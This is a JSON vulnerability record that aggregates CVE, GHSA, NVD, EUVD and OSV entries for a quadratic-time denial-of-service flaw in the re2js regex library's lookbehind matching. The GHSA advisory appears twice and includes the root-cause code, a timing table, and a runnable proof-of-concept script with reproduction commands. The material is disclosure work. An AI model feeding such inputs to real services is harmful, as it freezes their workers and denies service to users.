{"id":"CVE-2026-116795","aliases":["EUVD-2026-112268","GHSA-gg6h-894w-4m9c","ROOT-APP-NPM-CVE-2026-116795"],"status":"published","title":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","description":"RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00465,"percentile":0.4073,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-407"],"published":"2026-10-28T17:14:15Z","modified":"2026-11-04T02:30:56Z","fixes":[{"ecosystem":"npm","package":"re2js","fixed_in":["2.8.7"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"re2js","fixed_in":["2.8.5-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/re2js","fixed_in":["2.8.5-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"re2js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.8.7"}]}]},{"source":"osv","ecosystem":"npm","package":"re2js","ranges":[{"type":"SEMVER","events":[{"introduced":"2.2.0"},{"fixed":"2.8.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"re2js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.5-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/re2js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.8.5-root.io.1"}]}]}],"products":[{"vendor":"le0pard","product":"re2js"}],"references":[{"url":"https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/le0pard/re2js/pull/59","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/le0pard/re2js/releases/tag/2.8.7","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116795","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-gg6h-894w-4m9c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116795.json","tags":["advisory"]},{"url":"https://github.com/le0pard/re2js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-116795","title":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","description":"RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.","status":"published","published":"2026-10-28T17:14:15.988Z","modified":"2026-11-02T20:21:58.052Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-03T00:01:30.510858Z"}],"euvd":[{"id":"EUVD-2026-112268","description":"RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.","status":"published","published":"2026-10-28T17:14:15Z","modified":"2026-11-02T20:21:58Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T05:08:37.390802Z"}],"ghsa":[{"id":"GHSA-gg6h-894w-4m9c","title":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","description":"### Summary\n\nUsing the opt-in `LOOKBEHINDS` flag together with any repeated-matching API\n(`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`)\ncauses quadratic-time (Θ(n²)) matching, contradicting the library's own\n\"linear time matching\" guarantee. A single call with a 16,000-character input\ntakes **36.7–38.7 seconds of CPU**.\n\n### Description\n\n#### Root cause\n\nIn `build/index.cjs`, `Machine.match`:\n\n```js\nlet currentPos = this.prog.numLb \u003e 0 ? 0 : pos;   // ~line 1907\n...\nif (this.ncap === 0 \u0026\u0026 this.matched) break;        // ~line 1953\n```\n\nAny pattern containing a lookbehind sets `prog.numLb \u003e 0`, which forces the\nscan to **always restart at offset 0**, regardless of the requested start\nposition — the lookbehind automaton is re-seeded and the whole input is\nre-walked on every single `find()` call. The early-exit optimization that\nwould otherwise stop at the first match only fires when `ncap === 0`, but\nevery `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always\nrequests `ncap = 2` (one capture group slot) **even for a captureless\nlookbehind pattern** — so the early exit never triggers through those APIs,\nand the scan continues to the end of the input on every find.\n\nA find-loop over *k* matches in an *n*-character string therefore costs\n*k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total.\n\n#### Isolating control\n\nIdentical find-loop, identical input sizes, same 2-character literal pattern\n*shape* — but **without** the `LOOKBEHINDS` flag:\n\n| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind |\n|---|---|---|---|\n| 2,000 | 204–228 ms | 3 ms | 0 ms |\n| 4,000 | 877–899 ms | 4 ms | 0 ms |\n| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |\n| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |\n\nThis isolates the lookbehind machinery itself — not pattern length, not\nmatch density in the abstract — as the exact and sole cause.\n\n#### Impact\n\n- `re2js`'s entire value proposition is being an RE2-style engine with\n  **linear-time, no-backtracking** matching, specifically to resist\n  algorithmic-complexity attacks that plague backtracking regex engines.\n  This finding defeats that guarantee for any consumer using the advertised\n  `LOOKBEHINDS` feature.\n- Realistic affected code paths: log/text processing that tokenizes or\n  redacts using a lookbehind-based pattern (`matchAll`, `split`,\n  `replaceAll` are the natural APIs for exactly this), applied to\n  attacker-influenced text (user input, uploaded logs, scraped content).\n- A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;\n  Node.js being single-threaded, this freezes the whole worker process for\n  the duration. No authentication or special pattern knowledge is required\n  from the attacker — ordinary alternating text (`\"abababab...\"`) triggers it.\n\n#### Reproduction (copy-paste runnable)\n\ncreate file poc.js\n\n```js\n'use strict';\n// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).\n// Usage:\n//   npm pack re2js@2.8.6 --ignore-scripts \u0026\u0026 tar -xzf re2js-2.8.6.tgz\n//   node poc.js ./package\nconst path = require('path');\nconst pkgDir = process.argv[2] || './package';\nconst { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));\n\nconst re = RE2JS.compile('(?\u003c=a)b', RE2JS.LOOKBEHINDS);\n\nfunction timeFindLoop(n) {\n  const s = 'ab'.repeat(n / 2);\n  const t0 = Date.now();\n  const m = re.matcher(s);\n  let count = 0;\n  while (m.find()) count++;\n  return { ms: Date.now() - t0, count };\n}\n\nconsole.log('n, matches, ms');\nconst sizes = [2000, 4000, 8000, 16000];\nconst results = [];\nfor (const n of sizes) {\n  const r = timeFindLoop(n);\n  results.push(r.ms);\n  console.log(`${n}, ${r.count}, ${r.ms}`);\n}\n\nconst ratio = results[results.length - 1] / results[results.length - 2];\nconsole.log('');\nconsole.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 =\u003e linear, ~4 =\u003e quadratic)');\nconsole.log(ratio \u003e 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');\nprocess.exit(ratio \u003e 3 ? 0 : 1);\n```\n\nand run in terminal\n\n```sh\nnpm pack re2js@2.8.6 --ignore-scripts\ntar -xzf re2js-2.8.6.tgz\nnode poc.js ./package\n```\n\n`poc.js` times a `matcher(s).find()` loop over `(?\u003c=a)b` +\n`RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports\nthe doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or\nexceeding the 4× quadratic signature), reaching tens of seconds at 16,000\nchars. Run twice; results are deterministic.","status":"published","published":"2026-10-28T21:10:01Z","modified":"2026-10-28T21:10:03Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-02T14:41:39.926569Z"}],"nvd":[{"id":"CVE-2026-116795","description":"RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.","status":"published","published":"2026-10-28T18:17:14.303Z","modified":"2026-11-02T21:17:25.32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-407","CWE-1333"],"updated_at":"2026-11-03T00:02:39.144061Z"}],"osv":[{"id":"CVE-2026-116795","title":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","description":"RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.","status":"published","published":"2026-10-28T17:14:15.988Z","modified":"2026-11-04T02:30:56.565770422Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-407"],"updated_at":"2026-11-04T02:54:44.889498Z"},{"id":"GHSA-gg6h-894w-4m9c","title":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","description":"### Summary\n\nUsing the opt-in `LOOKBEHINDS` flag together with any repeated-matching API\n(`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`)\ncauses quadratic-time (Θ(n²)) matching, contradicting the library's own\n\"linear time matching\" guarantee. A single call with a 16,000-character input\ntakes **36.7–38.7 seconds of CPU**.\n\n### Description\n\n#### Root cause\n\nIn `build/index.cjs`, `Machine.match`:\n\n```js\nlet currentPos = this.prog.numLb \u003e 0 ? 0 : pos;   // ~line 1907\n...\nif (this.ncap === 0 \u0026\u0026 this.matched) break;        // ~line 1953\n```\n\nAny pattern containing a lookbehind sets `prog.numLb \u003e 0`, which forces the\nscan to **always restart at offset 0**, regardless of the requested start\nposition — the lookbehind automaton is re-seeded and the whole input is\nre-walked on every single `find()` call. The early-exit optimization that\nwould otherwise stop at the first match only fires when `ncap === 0`, but\nevery `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always\nrequests `ncap = 2` (one capture group slot) **even for a captureless\nlookbehind pattern** — so the early exit never triggers through those APIs,\nand the scan continues to the end of the input on every find.\n\nA find-loop over *k* matches in an *n*-character string therefore costs\n*k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total.\n\n#### Isolating control\n\nIdentical find-loop, identical input sizes, same 2-character literal pattern\n*shape* — but **without** the `LOOKBEHINDS` flag:\n\n| n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind |\n|---|---|---|---|\n| 2,000 | 204–228 ms | 3 ms | 0 ms |\n| 4,000 | 877–899 ms | 4 ms | 0 ms |\n| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |\n| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |\n\nThis isolates the lookbehind machinery itself — not pattern length, not\nmatch density in the abstract — as the exact and sole cause.\n\n#### Impact\n\n- `re2js`'s entire value proposition is being an RE2-style engine with\n  **linear-time, no-backtracking** matching, specifically to resist\n  algorithmic-complexity attacks that plague backtracking regex engines.\n  This finding defeats that guarantee for any consumer using the advertised\n  `LOOKBEHINDS` feature.\n- Realistic affected code paths: log/text processing that tokenizes or\n  redacts using a lookbehind-based pattern (`matchAll`, `split`,\n  `replaceAll` are the natural APIs for exactly this), applied to\n  attacker-influenced text (user input, uploaded logs, scraped content).\n- A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;\n  Node.js being single-threaded, this freezes the whole worker process for\n  the duration. No authentication or special pattern knowledge is required\n  from the attacker — ordinary alternating text (`\"abababab...\"`) triggers it.\n\n#### Reproduction (copy-paste runnable)\n\ncreate file poc.js\n\n```js\n'use strict';\n// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).\n// Usage:\n//   npm pack re2js@2.8.6 --ignore-scripts \u0026\u0026 tar -xzf re2js-2.8.6.tgz\n//   node poc.js ./package\nconst path = require('path');\nconst pkgDir = process.argv[2] || './package';\nconst { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));\n\nconst re = RE2JS.compile('(?\u003c=a)b', RE2JS.LOOKBEHINDS);\n\nfunction timeFindLoop(n) {\n  const s = 'ab'.repeat(n / 2);\n  const t0 = Date.now();\n  const m = re.matcher(s);\n  let count = 0;\n  while (m.find()) count++;\n  return { ms: Date.now() - t0, count };\n}\n\nconsole.log('n, matches, ms');\nconst sizes = [2000, 4000, 8000, 16000];\nconst results = [];\nfor (const n of sizes) {\n  const r = timeFindLoop(n);\n  results.push(r.ms);\n  console.log(`${n}, ${r.count}, ${r.ms}`);\n}\n\nconst ratio = results[results.length - 1] / results[results.length - 2];\nconsole.log('');\nconsole.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 =\u003e linear, ~4 =\u003e quadratic)');\nconsole.log(ratio \u003e 3 ? 'PASS  quadratic scaling confirmed on the REAL published package' : 'FAIL  scaling looks linear');\nprocess.exit(ratio \u003e 3 ? 0 : 1);\n```\n\nand run in terminal\n\n```sh\nnpm pack re2js@2.8.6 --ignore-scripts\ntar -xzf re2js-2.8.6.tgz\nnode poc.js ./package\n```\n\n`poc.js` times a `matcher(s).find()` loop over `(?\u003c=a)b` +\n`RE2JS.LOOKBEHINDS` on inputs of 2,000/4,000/8,000/16,000 chars and reports\nthe doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or\nexceeding the 4× quadratic signature), reaching tens of seconds at 16,000\nchars. Run twice; results are deterministic.","status":"published","published":"2026-10-28T21:10:01Z","modified":"2026-10-28T21:30:03.88620806Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-407"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"ROOT-APP-NPM-CVE-2026-116795","title":"CVE-2026-116795 in re2js - Patched by Root","description":"Root has patched CVE-2026-116795 in the re2js package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-30T10:17:47Z","modified":"2026-10-30T11:15:02.374768177Z","updated_at":"2026-11-02T15:53:27.362922Z"}]}}